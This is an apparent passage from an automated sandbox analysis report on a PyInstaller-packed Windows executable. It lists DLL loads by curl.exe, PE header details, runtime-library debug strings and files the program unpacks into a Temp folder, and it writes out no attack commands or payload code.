Source: C:\Windows\System32\curl.exeSection loaded: kernel.appcore.dllJump to behavior
Source: C:\Windows\System32\curl.exeSection loaded: dnsapi.dllJump to behavior
Source: C:\Windows\System32\curl.exeSection loaded: rasadhlp.dllJump to behavior
Source: C:\Windows\System32\curl.exeSection loaded: secur32.dllJump to behavior
Source: C:\Windows\System32\curl.exeSection loaded: sspicli.dllJump to behavior
Source: C:\Windows\System32\curl.exeSection loaded: iphlpapi.dllJump to behavior
Source: C:\Windows\System32\curl.exeSection loaded: mswsock.dllJump to behavior
Source: C:\Windows\System32\curl.exeSection loaded: kernel.appcore.dllJump to behavior
Source: C:\Windows\System32\curl.exeSection loaded: dnsapi.dllJump to behavior
Source: C:\Windows\System32\curl.exeSection loaded: rasadhlp.dllJump to behavior
Source: C:\Windows\System32\curl.exeSection loaded: secur32.dllJump to behavior
Source: C:\Windows\System32\curl.exeSection loaded: sspicli.dllJump to behavior
Source: C:\Windows\System32\curl.exeSection loaded: iphlpapi.dllJump to behavior
Source: C:\Windows\System32\curl.exeSection loaded: mswsock.dllJump to behavior
Source: C:\Windows\System32\curl.exeSection loaded: kernel.appcore.dllJump to behavior
Source: C:\Windows\System32\curl.exeSection loaded: dnsapi.dllJump to behavior
Source: C:\Windows\System32\curl.exeSection loaded: rasadhlp.dllJump to behavior
Source: C:\Windows\System32\curl.exeSection loaded: secur32.dllJump to behavior
Source: C:\Windows\System32\curl.exeSection loaded: sspicli.dllJump to behavior
Source: C:\Windows\System32\curl.exeSection loaded: iphlpapi.dllJump to behavior
Source: C:\Windows\System32\curl.exeSection loaded: mswsock.dllJump to behavior
Source: C:\Windows\System32\curl.exeSection loaded: kernel.appcore.dllJump to behavior
Source: C:\Windows\System32\curl.exeSection loaded: dnsapi.dllJump to behavior
Source: C:\Windows\System32\curl.exeSection loaded: rasadhlp.dllJump to behavior
Source: C:\Windows\System32\curl.exeSection loaded: secur32.dllJump to behavior
Source: C:\Windows\System32\curl.exeSection loaded: sspicli.dllJump to behavior
Source: C:\Windows\System32\curl.exeSection loaded: iphlpapi.dllJump to behavior
Source: C:\Windows\System32\curl.exeSection loaded: mswsock.dllJump to behavior
Source: C:\Windows\System32\curl.exeSection loaded: kernel.appcore.dllJump to behavior
Source: C:\Windows\System32\curl.exeSection loaded: dnsapi.dllJump to behavior
Source: C:\Windows\System32\curl.exeSection loaded: rasadhlp.dllJump to behavior
Source: Window RecorderWindow detected: More than 3 window changes detected
Source: file.exeStatic PE information: Image base 0x140000000 > 0x60000000
Source: file.exeStatic file information: File size 7319146 > 1048576
Source: file.exeStatic PE information: data directory type: IMAGE_DIRECTORY_ENTRY_IMPORT
Source: file.exeStatic PE information: data directory type: IMAGE_DIRECTORY_ENTRY_RESOURCE
Source: file.exeStatic PE information: data directory type: IMAGE_DIRECTORY_ENTRY_BASERELOC
Source: file.exeStatic PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG
Source: file.exeStatic PE information: data directory type: IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG
Source: file.exeStatic PE information: data directory type: IMAGE_DIRECTORY_ENTRY_IAT
Source: file.exeStatic PE information: HIGH_ENTROPY_VA, DYNAMIC_BASE, NX_COMPAT, GUARD_CF, TERMINAL_SERVER_AWARE
Source: file.exeStatic PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG
Source: Binary string: api-ms-win-crt-locale-l1-1-0.pdb source: file.exe, 00000000.00000003.1753781951.0000019DE7D27000.00000004.00000020.00020000.00000000.sdmp, api-ms-win-crt-locale-l1-1-0.dll.0.dr
Source: Binary string: api-ms-win-crt-runtime-l1-1-0.pdb source: file.exe, 00000000.00000003.1754116826.0000019DE7D27000.00000004.00000020.00020000.00000000.sdmp, api-ms-win-crt-runtime-l1-1-0.dll.0.dr
Source: Binary string: api-ms-win-core-file-l1-2-0.pdb source: file.exe, 00000000.00000003.1750041127.0000019DE7D27000.00000004.00000020.00020000.00000000.sdmp, api-ms-win-core-file-l1-2-0.dll.0.dr
Source: Binary string: ucrtbase.pdb source: file.exe, 00000001.00000002.3018757970.00007FFDFF213000.00000002.00000001.01000000.00000004.sdmp, ucrtbase.dll.0.dr
Source: Binary string: api-ms-win-core-memory-l1-1-0.pdb source: file.exe, 00000000.00000003.1750835118.0000019DE7D27000.00000004.00000020.00020000.00000000.sdmp, api-ms-win-core-memory-l1-1-0.dll.0.dr
Source: Binary string: D:\a\1\b\bin\amd64\_decimal.pdb source: _decimal.pyd.0.dr
Source: Binary string: api-ms-win-core-debug-l1-1-0.pdb source: file.exe, 00000000.00000003.1749617862.0000019DE7D27000.00000004.00000020.00020000.00000000.sdmp, api-ms-win-core-debug-l1-1-0.dll.0.dr
Source: Binary string: api-ms-win-core-sysinfo-l1-1-0.pdb source: file.exe, 00000000.00000003.1752138241.0000019DE7D27000.00000004.00000020.00020000.00000000.sdmp, api-ms-win-core-sysinfo-l1-1-0.dll.0.dr
Source: Binary string: api-ms-win-crt-filesystem-l1-1-0.pdb source: file.exe, 00000000.00000003.1753536442.0000019DE7D27000.00000004.00000020.00020000.00000000.sdmp, api-ms-win-crt-filesystem-l1-1-0.dll.0.dr
Source: Binary string: api-ms-win-core-memory-l1-1-0.pdbGCTL source: file.exe, 00000000.00000003.1750835118.0000019DE7D27000.00000004.00000020.00020000.00000000.sdmp, api-ms-win-core-memory-l1-1-0.dll.0.dr
Source: Binary string: api-ms-win-crt-stdio-l1-1-0.pdb source: file.exe, 00000000.00000003.1754233802.0000019DE7D20000.00000004.00000020.00020000.00000000.sdmp, api-ms-win-crt-stdio-l1-1-0.dll.0.dr
Source: Binary string: api-ms-win-crt-heap-l1-1-0.pdbGCTL source: file.exe, 00000000.00000003.1753659236.0000019DE7D27000.00000004.00000020.00020000.00000000.sdmp, api-ms-win-crt-heap-l1-1-0.dll.0.dr
Source: Binary string: D:\a\_work\1\s\binaries\amd64ret\bin\amd64\\vcruntime140.amd64.pdbGCTL source: file.exe, 00000000.00000003.1748229034.0000019DE7D20000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000002.3019117543.00007FFE1A4A1000.00000002.00000001.01000000.00000006.sdmp, VCRUNTIME140.dll.0.dr
Source: Binary string: api-ms-win-core-heap-l1-1-0.pdb source: file.exe, 00000000.00000003.1750386943.0000019DE7D27000.00000004.00000020.00020000.00000000.sdmp, api-ms-win-core-heap-l1-1-0.dll.0.dr
Source: Binary string: api-ms-win-core-util-l1-1-0.pdb source: file.exe, 00000000.00000003.1752374384.0000019DE7D27000.00000004.00000020.00020000.00000000.sdmp, api-ms-win-core-util-l1-1-0.dll.0.dr
Source: Binary string: api-ms-win-core-heap-l1-1-0.pdbGCTL source: file.exe, 00000000.00000003.1750386943.0000019DE7D27000.00000004.00000020.00020000.00000000.sdmp, api-ms-win-core-heap-l1-1-0.dll.0.dr
Source: Binary string: api-ms-win-core-synch-l1-1-0.pdb source: file.exe, 00000000.00000003.1751802736.0000019DE7D27000.00000004.00000020.00020000.00000000.sdmp, api-ms-win-core-synch-l1-1-0.dll.0.dr
Source: Binary string: api-ms-win-crt-environment-l1-1-0.pdb source: file.exe, 00000000.00000003.1753385800.0000019DE7D27000.00000004.00000020.00020000.00000000.sdmp, api-ms-win-crt-environment-l1-1-0.dll.0.dr
Source: Binary string: api-ms-win-crt-math-l1-1-0.pdbGCTL source: file.exe, 00000000.00000003.1753887474.0000019DE7D20000.00000004.00000020.00020000.00000000.sdmp, api-ms-win-crt-math-l1-1-0.dll.0.dr
Source: Binary string: api-ms-win-core-handle-l1-1-0.pdbGCTL source: file.exe, 00000000.00000003.1750280448.0000019DE7D27000.00000004.00000020.00020000.00000000.sdmp, api-ms-win-core-handle-l1-1-0.dll.0.dr
Source: Binary string: api-ms-win-core-processthreads-l1-1-0.pdbGCTL source: file.exe, 00000000.00000003.1751234279.0000019DE7D27000.00000004.00000020.00020000.00000000.sdmp, api-ms-win-core-processthreads-l1-1-0.dll.0.dr
Source: Binary string: D:\a\1\b\bin\amd64\_hashlib.pdb source: file.exe, 00000000.00000003.1748719469.0000019DE7D20000.00000004.00000020.00020000.00000000.sdmp, _hashlib.pyd.0.dr
Source: Binary string: api-ms-win-core-errorhandling-l1-1-0.pdb source: file.exe, 00000000.00000003.1749715082.0000019DE7D27000.00000004.00000020.00020000.00000000.sdmp, api-ms-win-core-errorhandling-l1-1-0.dll.0.dr
Source: Binary string: D:\a\1\b\bin\amd64\_decimal.pdb$$ source: _decimal.pyd.0.dr
Source: Binary string: api-ms-win-crt-filesystem-l1-1-0.pdbGCTL source: file.exe, 00000000.00000003.1753536442.0000019DE7D27000.00000004.00000020.00020000.00000000.sdmp, api-ms-win-crt-filesystem-l1-1-0.dll.0.dr
Source: Binary string: api-ms-win-core-processthreads-l1-1-0.pdb source: file.exe, 00000000.00000003.1751234279.0000019DE7D27000.00000004.00000020.00020000.00000000.sdmp, api-ms-win-core-processthreads-l1-1-0.dll.0.dr
Source: Binary string: api-ms-win-crt-time-l1-1-0.pdbGCTL source: file.exe, 00000000.00000003.1754433845.0000019DE7D27000.00000004.00000020.00020000.00000000.sdmp, api-ms-win-crt-time-l1-1-0.dll.0.dr
Source: Binary string: api-ms-win-core-console-l1-1-0.pdb source: file.exe, 00000000.00000003.1749386479.0000019DE7D27000.00000004.00000020.00020000.00000000.sdmp, api-ms-win-core-console-l1-1-0.dll.0.dr
Source: Binary string: api-ms-win-core-fibers-l1-1-0.pdb source: file.exe, 00000000.00000003.1749812781.0000019DE7D27000.00000004.00000020.00020000.00000000.sdmp, api-ms-win-core-fibers-l1-1-0.dll.0.dr
Source: Binary string: api-ms-win-core-file-l1-1-0.pdb source: file.exe, 00000000.00000003.1749927325.0000019DE7D27000.00000004.00000020.00020000.00000000.sdmp, api-ms-win-core-file-l1-1-0.dll.0.dr
Source: Binary string: api-ms-win-core-timezone-l1-1-0.pdbGCTL source: file.exe, 00000000.00000003.1752254686.0000019DE7D27000.00000004.00000020.00020000.00000000.sdmp, api-ms-win-core-timezone-l1-1-0.dll.0.dr
Source: Binary string: api-ms-win-core-processenvironment-l1-1-0.pdbGCTL source: file.exe, 00000000.00000003.1751102339.0000019DE7D27000.00000004.00000020.00020000.00000000.sdmp, api-ms-win-core-processenvironment-l1-1-0.dll.0.dr
Source: Binary string: api-ms-win-core-synch-l1-2-0.pdbGCTL source: file.exe, 00000000.00000003.1752018194.0000019DE7D27000.00000004.00000020.00020000.00000000.sdmp, api-ms-win-core-synch-l1-2-0.dll.0.dr
Source: Binary string: api-ms-win-crt-process-l1-1-0.pdbGCTL source: file.exe, 00000000.00000003.1753999667.0000019DE7D27000.00000004.00000020.00020000.00000000.sdmp, api-ms-win-crt-process-l1-1-0.dll.0.dr
Source: Binary string: api-ms-win-crt-convert-l1-1-0.pdb source: file.exe, 00000000.00000003.1753238604.0000019DE7D27000.00000004.00000020.00020000.00000000.sdmp, api-ms-win-crt-convert-l1-1-0.dll.0.dr
Source: Binary string: api-ms-win-core-util-l1-1-0.pdbGCTL source: file.exe, 00000000.00000003.1752374384.0000019DE7D27000.00000004.00000020.00020000.00000000.sdmp, api-ms-win-core-util-l1-1-0.dll.0.dr
Source: Binary string: api-ms-win-core-datetime-l1-1-0.pdbGCTL source: file.exe, 00000000.00000003.1749509984.0000019DE7D27000.00000004.00000020.00020000.00000000.sdmp, api-ms-win-core-datetime-l1-1-0.dll.0.dr
Source: Binary string: D:\a\1\b\bin\amd64\_lzma.pdb source: file.exe, 00000000.00000003.1748838656.0000019DE7D20000.00000004.00000020.00020000.00000000.sdmp, _lzma.pyd.0.dr
Source: Binary string: D:\a\1\b\bin\amd64\_bz2.pdb source: file.exe, 00000000.00000003.1748393847.0000019DE7D20000.00000004.00000020.00020000.00000000.sdmp, _bz2.pyd.0.dr
Source: Binary string: api-ms-win-core-errorhandling-l1-1-0.pdbGCTL source: file.exe, 00000000.00000003.1749715082.0000019DE7D27000.00000004.00000020.00020000.00000000.sdmp, api-ms-win-core-errorhandling-l1-1-0.dll.0.dr
Source: Binary string: api-ms-win-core-profile-l1-1-0.pdb source: file.exe, 00000000.00000003.1751453983.0000019DE7D27000.00000004.00000020.00020000.00000000.sdmp, api-ms-win-core-profile-l1-1-0.dll.0.dr
Source: Binary string: ucrtbase.pdbUGP source: file.exe, 00000001.00000002.3018757970.00007FFDFF213000.00000002.00000001.01000000.00000004.sdmp, ucrtbase.dll.0.dr
Source: Binary string: D:\a\1\b\bin\amd64\_socket.pdb source: file.exe, 00000000.00000003.1749266271.0000019DE7D20000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000002.3018885111.00007FFE14638000.00000002.00000001.01000000.00000007.sdmp, _socket.pyd.0.dr
Source: Binary string: api-ms-win-core-file-l1-1-0.pdbGCTL source: file.exe, 00000000.00000003.1749927325.0000019DE7D27000.00000004.00000020.00020000.00000000.sdmp, api-ms-win-core-file-l1-1-0.dll.0.dr
Source: Binary string: api-ms-win-crt-convert-l1-1-0.pdbGCTL source: file.exe, 00000000.00000003.1753238604.0000019DE7D27000.00000004.00000020.00020000.00000000.sdmp, api-ms-win-crt-convert-l1-1-0.dll.0.dr
Source: Binary string: api-ms-win-crt-stdio-l1-1-0.pdbGCTL source: file.exe, 00000000.00000003.1754233802.0000019DE7D20000.00000004.00000020.00020000.00000000.sdmp, api-ms-win-crt-stdio-l1-1-0.dll.0.dr
Source: Binary string: api-ms-win-crt-environment-l1-1-0.pdbGCTL source: file.exe, 00000000.00000003.1753385800.0000019DE7D27000.00000004.00000020.00020000.00000000.sdmp, api-ms-win-crt-environment-l1-1-0.dll.0.dr
Source: Binary string: api-ms-win-crt-time-l1-1-0.pdb source: file.exe, 00000000.00000003.1754433845.0000019DE7D27000.00000004.00000020.00020000.00000000.sdmp, api-ms-win-crt-time-l1-1-0.dll.0.dr
Source: Binary string: api-ms-win-core-file-l2-1-0.pdbGCTL source: file.exe, 00000000.00000003.1750170866.0000019DE7D27000.00000004.00000020.00020000.00000000.sdmp, api-ms-win-core-file-l2-1-0.dll.0.dr
Source: Binary string: api-ms-win-core-fibers-l1-1-0.pdbGCTL source: file.exe, 00000000.00000003.1749812781.0000019DE7D27000.00000004.00000020.00020000.00000000.sdmp, api-ms-win-core-fibers-l1-1-0.dll.0.dr
Source: Binary string: api-ms-win-core-handle-l1-1-0.pdb source: file.exe, 00000000.00000003.1750280448.0000019DE7D27000.00000004.00000020.00020000.00000000.sdmp, api-ms-win-core-handle-l1-1-0.dll.0.dr
Source: Binary string: D:\a\1\b\bin\amd64\unicodedata.pdb source: file.exe, 00000000.00000003.1759035583.0000019DE7D20000.00000004.00000020.00020000.00000000.sdmp, unicodedata.pyd.0.dr
Source: Binary string: api-ms-win-core-sysinfo-l1-1-0.pdbGCTL source: file.exe, 00000000.00000003.1752138241.0000019DE7D27000.00000004.00000020.00020000.00000000.sdmp, api-ms-win-core-sysinfo-l1-1-0.dll.0.dr
Source: Binary string: api-ms-win-core-synch-l1-2-0.pdb source: file.exe, 00000000.00000003.1752018194.0000019DE7D27000.00000004.00000020.00020000.00000000.sdmp, api-ms-win-core-synch-l1-2-0.dll.0.dr
Source: Binary string: api-ms-win-core-file-l1-2-0.pdbGCTL source: file.exe, 00000000.00000003.1750041127.0000019DE7D27000.00000004.00000020.00020000.00000000.sdmp, api-ms-win-core-file-l1-2-0.dll.0.dr
Source: Binary string: api-ms-win-core-profile-l1-1-0.pdbGCTL source: file.exe, 00000000.00000003.1751453983.0000019DE7D27000.00000004.00000020.00020000.00000000.sdmp, api-ms-win-core-profile-l1-1-0.dll.0.dr
Source: Binary string: api-ms-win-core-processenvironment-l1-1-0.pdb source: file.exe, 00000000.00000003.1751102339.0000019DE7D27000.00000004.00000020.00020000.00000000.sdmp, api-ms-win-core-processenvironment-l1-1-0.dll.0.dr
Source: Binary string: compiler: cl /Zi /Fdossl_static.pdb /Gs0 /GF /Gy /MD /W3 /wd4090 /nologo /O2 -DL_ENDIAN -DOPENSSL_PIC -DOPENSSL_CPUID_OBJ -DOPENSSL_IA32_SSE2 -DOPENSSL_BN_ASM_MONT -DOPENSSL_BN_ASM_MONT5 -DOPENSSL_BN_ASM_GF2m -DSHA1_ASM -DSHA256_ASM -DSHA512_ASM -DKECCAK1600_ASM -DRC4_ASM -DMD5_ASM -DAESNI_ASM -DVPAES_ASM -DGHASH_ASM -DECP_NISTZ256_ASM -DX25519_ASM -DPOLY1305_ASM source: libcrypto-1_1.dll.0.dr
Source: Binary string: api-ms-win-core-datetime-l1-1-0.pdb source: file.exe, 00000000.00000003.1749509984.0000019DE7D27000.00000004.00000020.00020000.00000000.sdmp, api-ms-win-core-datetime-l1-1-0.dll.0.dr
Source: Binary string: api-ms-win-crt-conio-l1-1-0.pdb source: file.exe, 00000000.00000003.1752494159.0000019DE7D27000.00000004.00000020.00020000.00000000.sdmp, api-ms-win-crt-conio-l1-1-0.dll.0.dr
Source: Binary string: D:\a\_work\1\s\binaries\amd64ret\bin\amd64\\vcruntime140.amd64.pdb source: file.exe, 00000000.00000003.1748229034.0000019DE7D20000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000002.3019117543.00007FFE1A4A1000.00000002.00000001.01000000.00000006.sdmp, VCRUNTIME140.dll.0.dr
Source: Binary string: api-ms-win-core-localization-l1-2-0.pdb source: file.exe, 00000000.00000003.1750728421.0000019DE7D27000.00000004.00000020.00020000.00000000.sdmp, api-ms-win-core-localization-l1-2-0.dll.0.dr
Source: Binary string: api-ms-win-crt-math-l1-1-0.pdb source: file.exe, 00000000.00000003.1753887474.0000019DE7D20000.00000004.00000020.00020000.00000000.sdmp, api-ms-win-crt-math-l1-1-0.dll.0.dr
Source: Binary string: api-ms-win-core-interlocked-l1-1-0.pdbGCTL source: file.exe, 00000000.00000003.1750492184.0000019DE7D27000.00000004.00000020.00020000.00000000.sdmp, api-ms-win-core-interlocked-l1-1-0.dll.0.dr
Source: Binary string: api-ms-win-core-string-l1-1-0.pdbGCTL source: file.exe, 00000000.00000003.1751690780.0000019DE7D27000.00000004.00000020.00020000.00000000.sdmp, api-ms-win-core-string-l1-1-0.dll.0.dr
Source: Binary string: api-ms-win-crt-string-l1-1-0.pdbGCTL source: file.exe, 00000000.00000003.1754336115.0000019DE7D20000.00000004.00000020.00020000.00000000.sdmp, api-ms-win-crt-string-l1-1-0.dll.0.dr
Source: Binary string: api-ms-win-core-processthreads-l1-1-1.pdb source: file.exe, 00000000.00000003.1751343265.0000019DE7D27000.00000004.00000020.00020000.00000000.sdmp, api-ms-win-core-processthreads-l1-1-1.dll.0.dr
Source: Binary string: api-ms-win-core-debug-l1-1-0.pdbGCTL source: file.exe, 00000000.00000003.1749617862.0000019DE7D27000.00000004.00000020.00020000.00000000.sdmp, api-ms-win-core-debug-l1-1-0.dll.0.dr
Source: Binary string: D:\a\1\b\bin\amd64\python311.pdb source: file.exe, 00000001.00000002.3017300090.00007FFDFB4CC000.00000002.00000001.01000000.00000005.sdmp, python311.dll.0.dr
Source: Binary string: api-ms-win-core-libraryloader-l1-1-0.pdbGCTL source: file.exe, 00000000.00000003.1750613362.0000019DE7D27000.00000004.00000020.00020000.00000000.sdmp, api-ms-win-core-libraryloader-l1-1-0.dll.0.dr
Source: Binary string: api-ms-win-crt-locale-l1-1-0.pdbGCTL source: file.exe, 00000000.00000003.1753781951.0000019DE7D27000.00000004.00000020.00020000.00000000.sdmp, api-ms-win-crt-locale-l1-1-0.dll.0.dr
Source: Binary string: api-ms-win-core-localization-l1-2-0.pdbGCTL source: file.exe, 00000000.00000003.1750728421.0000019DE7D27000.00000004.00000020.00020000.00000000.sdmp, api-ms-win-core-localization-l1-2-0.dll.0.dr
Source: Binary string: api-ms-win-core-namedpipe-l1-1-0.pdb source: file.exe, 00000000.00000003.1750979635.0000019DE7D27000.00000004.00000020.00020000.00000000.sdmp, api-ms-win-core-namedpipe-l1-1-0.dll.0.dr
Source: Binary string: D:\a\1\b\bin\amd64\select.pdb source: file.exe, 00000000.00000003.1758420227.0000019DE7D20000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000002.3018996963.00007FFE1A453000.00000002.00000001.01000000.00000008.sdmp, select.pyd.0.dr
Source: Binary string: api-ms-win-crt-utility-l1-1-0.pdb source: file.exe, 00000000.00000003.1754551936.0000019DE7D27000.00000004.00000020.00020000.00000000.sdmp, api-ms-win-crt-utility-l1-1-0.dll.0.dr
Source: Binary string: api-ms-win-core-rtlsupport-l1-1-0.pdb source: file.exe, 00000000.00000003.1751564708.0000019DE7D27000.00000004.00000020.00020000.00000000.sdmp, api-ms-win-core-rtlsupport-l1-1-0.dll.0.dr
Source: Binary string: api-ms-win-core-timezone-l1-1-0.pdb source: file.exe, 00000000.00000003.1752254686.0000019DE7D27000.00000004.00000020.00020000.00000000.sdmp, api-ms-win-core-timezone-l1-1-0.dll.0.dr
Source: Binary string: api-ms-win-core-string-l1-1-0.pdb source: file.exe, 00000000.00000003.1751690780.0000019DE7D27000.00000004.00000020.00020000.00000000.sdmp, api-ms-win-core-string-l1-1-0.dll.0.dr
Source: Binary string: api-ms-win-core-file-l2-1-0.pdb source: file.exe, 00000000.00000003.1750170866.0000019DE7D27000.00000004.00000020.00020000.00000000.sdmp, api-ms-win-core-file-l2-1-0.dll.0.dr
Source: Binary string: api-ms-win-core-console-l1-1-0.pdbGCTL source: file.exe, 00000000.00000003.1749386479.0000019DE7D27000.00000004.00000020.00020000.00000000.sdmp, api-ms-win-core-console-l1-1-0.dll.0.dr
Source: Binary string: D:\a\1\b\bin\amd64\_lzma.pdbNN source: file.exe, 00000000.00000003.1748838656.0000019DE7D20000.00000004.00000020.00020000.00000000.sdmp, _lzma.pyd.0.dr
Source: Binary string: api-ms-win-crt-process-l1-1-0.pdb source: file.exe, 00000000.00000003.1753999667.0000019DE7D27000.00000004.00000020.00020000.00000000.sdmp, api-ms-win-crt-process-l1-1-0.dll.0.dr
Source: Binary string: api-ms-win-core-libraryloader-l1-1-0.pdb source: file.exe, 00000000.00000003.1750613362.0000019DE7D27000.00000004.00000020.00020000.00000000.sdmp, api-ms-win-core-libraryloader-l1-1-0.dll.0.dr
Source: Binary string: api-ms-win-crt-utility-l1-1-0.pdbGCTL source: file.exe, 00000000.00000003.1754551936.0000019DE7D27000.00000004.00000020.00020000.00000000.sdmp, api-ms-win-crt-utility-l1-1-0.dll.0.dr
Source: Binary string: api-ms-win-core-namedpipe-l1-1-0.pdbGCTL source: file.exe, 00000000.00000003.1750979635.0000019DE7D27000.00000004.00000020.00020000.00000000.sdmp, api-ms-win-core-namedpipe-l1-1-0.dll.0.dr
Source: Binary string: api-ms-win-core-interlocked-l1-1-0.pdb source: file.exe, 00000000.00000003.1750492184.0000019DE7D27000.00000004.00000020.00020000.00000000.sdmp, api-ms-win-core-interlocked-l1-1-0.dll.0.dr
Source: Binary string: api-ms-win-core-synch-l1-1-0.pdbGCTL source: file.exe, 00000000.00000003.1751802736.0000019DE7D27000.00000004.00000020.00020000.00000000.sdmp, api-ms-win-core-synch-l1-1-0.dll.0.dr
Source: Binary string: api-ms-win-crt-runtime-l1-1-0.pdbGCTL source: file.exe, 00000000.00000003.1754116826.0000019DE7D27000.00000004.00000020.00020000.00000000.sdmp, api-ms-win-crt-runtime-l1-1-0.dll.0.dr
Source: Binary string: api-ms-win-core-rtlsupport-l1-1-0.pdbGCTL source: file.exe, 00000000.00000003.1751564708.0000019DE7D27000.00000004.00000020.00020000.00000000.sdmp, api-ms-win-core-rtlsupport-l1-1-0.dll.0.dr
Source: Binary string: api-ms-win-core-processthreads-l1-1-1.pdbGCTL source: file.exe, 00000000.00000003.1751343265.0000019DE7D27000.00000004.00000020.00020000.00000000.sdmp, api-ms-win-core-processthreads-l1-1-1.dll.0.dr
Source: Binary string: @ compiler: cl /Zi /Fdossl_static.pdb /Gs0 /GF /Gy /MD /W3 /wd4090 /nologo /O2 -DL_ENDIAN -DOPENSSL_PIC -DOPENSSL_CPUID_OBJ -DOPENSSL_IA32_SSE2 -DOPENSSL_BN_ASM_MONT -DOPENSSL_BN_ASM_MONT5 -DOPENSSL_BN_ASM_GF2m -DSHA1_ASM -DSHA256_ASM -DSHA512_ASM -DKECCAK1600_ASM -DRC4_ASM -DMD5_ASM -DAESNI_ASM -DVPAES_ASM -DGHASH_ASM -DECP_NISTZ256_ASM -DX25519_ASM -DPOLY1305_ASMOpenSSL 1.1.1s 1 Nov 2022built on: Mon Jan 9 20:35:28 2023 UTCplatform: VC-WIN64A-masmOPENSSLDIR: "C:\Program Files\Common Files\SSL"ENGINESDIR: "C:\Program Files\OpenSSL\lib\engines-1_1"not available source: libcrypto-1_1.dll.0.dr
Source: Binary string: api-ms-win-crt-heap-l1-1-0.pdb source: file.exe, 00000000.00000003.1753659236.0000019DE7D27000.00000004.00000020.00020000.00000000.sdmp, api-ms-win-crt-heap-l1-1-0.dll.0.dr
Source: Binary string: D:\_w\1\b\libcrypto-1_1.pdb source: libcrypto-1_1.dll.0.dr
Source: Binary string: api-ms-win-crt-conio-l1-1-0.pdbGCTL source: file.exe, 00000000.00000003.1752494159.0000019DE7D27000.00000004.00000020.00020000.00000000.sdmp, api-ms-win-crt-conio-l1-1-0.dll.0.dr
Source: Binary string: api-ms-win-crt-string-l1-1-0.pdb source: file.exe, 00000000.00000003.1754336115.0000019DE7D20000.00000004.00000020.00020000.00000000.sdmp, api-ms-win-crt-string-l1-1-0.dll.0.dr
Source: file.exeStatic PE information: Data directory: IMAGE_DIRECTORY_ENTRY_IMPORT is in: .rdata
Source: file.exeStatic PE information: Data directory: IMAGE_DIRECTORY_ENTRY_RESOURCE is in: .rsrc
Source: file.exeStatic PE information: Data directory: IMAGE_DIRECTORY_ENTRY_BASERELOC is in: .reloc
Source: file.exeStatic PE information: Data directory: IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG is in: .rdata
Source: file.exeStatic PE information: Data directory: IMAGE_DIRECTORY_ENTRY_IAT is in: .rdata
Source: api-ms-win-crt-utility-l1-1-0.dll.0.drStatic PE information: 0xEBA28C46 [Sun Apr 10 18:28:22 2095 UTC]
Source: libcrypto-1_1.dll.0.drStatic PE information: section name: .00cfg
Source: python311.dll.0.drStatic PE information: section name: PyRuntim
Source: VCRUNTIME140.dll.0.drStatic PE information: section name: _RDATA
Source: C:\Users\user\Desktop\file.exeCode function: 1_2_00007FFDFF17FDF0 pushfq ; ret 1_2_00007FFDFF17FDF1
Source: C:\Users\user\Desktop\file.exeCode function: 1_2_00007FFDFF17EA85 push rdi; ret 1_2_00007FFDFF17EA8B
Source: C:\Users\user\Desktop\file.exeCode function: 1_2_00007FFDFF17E569 push rdi; ret 1_2_00007FFDFF17E572
Source: C:\Users\user\Desktop\file.exeCode function: 1_2_00007FFDFF15126A push qword ptr [rdi+rbp-01h]; ret 1_2_00007FFDFF15126F
Source: C:\Users\user\Desktop\file.exeCode function: 1_2_00007FFDFF180311 push rdi; retn 0009h1_2_00007FFDFF180316

Persistence and Installation Behavior

barindex
Found pyInstaller with non standard icon
Source: C:\Users\user\Desktop\file.exeProcess created: "C:\Users\user\Desktop\file.exe"
Source: C:\Users\user\Desktop\file.exeFile created: C:\Users\user\AppData\Local\Temp\_MEI68922\api-ms-win-crt-environment-l1-1-0.dllJump to dropped file
Source: C:\Users\user\Desktop\file.exeFile created: C:\Users\user\AppData\Local\Temp\_MEI68922\api-ms-win-crt-convert-l1-1-0.dllJump to dropped file
Source: C:\Users\user\Desktop\file.exeFile created: C:\Users\user\AppData\Local\Temp\_MEI68922\api-ms-win-core-profile-l1-1-0.dllJump to dropped file
Source: C:\Users\user\Desktop\file.exeFile created: C:\Users\user\AppData\Local\Temp\_MEI68922\api-ms-win-core-util-l1-1-0.dllJump to dropped file
Source: C:\Users\user\Desktop\file.exeFile created: C:\Users\user\AppData\Local\Temp\_MEI68922\_socket.pydJump to dropped file
Source: C:\Users\user\Desktop\file.exeFile created: C:\Users\user\AppData\Local\Temp\_MEI68922\api-ms-win-core-rtlsupport-l1-1-0.dllJump to dropped file
Source: C:\Users\user\Desktop\file.exeFile created: C:\Users\user\AppData\Local\Temp\_MEI68922\api-ms-win-core-namedpipe-l1-1-0.dllJump to dropped file
Source: C:\Users\user\Desktop\file.exeFile created: C:\Users\user\AppData\Local\Temp\_MEI68922\api-ms-win-core-sysinfo-l1-1-0.dllJump to dropped file
Source: C:\Users\user\Desktop\file.exeFile created: C:\Users\user\AppData\Local\Temp\_MEI68922\api-ms-win-core-memory-l1-1-0.dllJump to dropped file
Source: C:\Users\user\Desktop\file.exeFile created: C:\Users\user\AppData\Local\Temp\_MEI68922\unicodedata.pydJump to dropped file
Source: C:\Users\user\Desktop\file.exeFile created: C:\Users\user\AppData\Local\Temp\_MEI68922\api-ms-win-core-file-l1-1-0.dllJump to dropped file
Source: C:\Users\user\Desktop\file.exeFile created: C:\Users\user\AppData\Local\Temp\_MEI68922\api-ms-win-crt-string-l1-1-0.dllJump to dropped file
Source: C:\Users\user\Desktop\file.exeFile created: C:\Users\user\AppData\Local\Temp\_MEI68922\api-ms-win-crt-runtime-l1-1-0.dllJump to dropped file
Source: C:\Users\user\Desktop\file.exeFile created: C:\Users\user\AppData\Local\Temp\_MEI68922\api-ms-win-crt-utility-l1-1-0.dllJump to dropped file
Source: C:\Users\user\Desktop\file.exeFile created: C:\Users\user\AppData\Local\Temp\_MEI68922\api-ms-win-core-localization-l1-2-0.dllJump to dropped file
Source: C:\Users\user\Desktop\file.exeFile created: C:\Users\user\AppData\Local\Temp\_MEI68922\api-ms-win-crt-filesystem-l1-1-0.dllJump to dropped file
Source: C:\Users\user\Desktop\file.exeFile created: C:\Users\user\AppData\Local\Temp\_MEI68922\ucrtbase.dllJump to dropped file
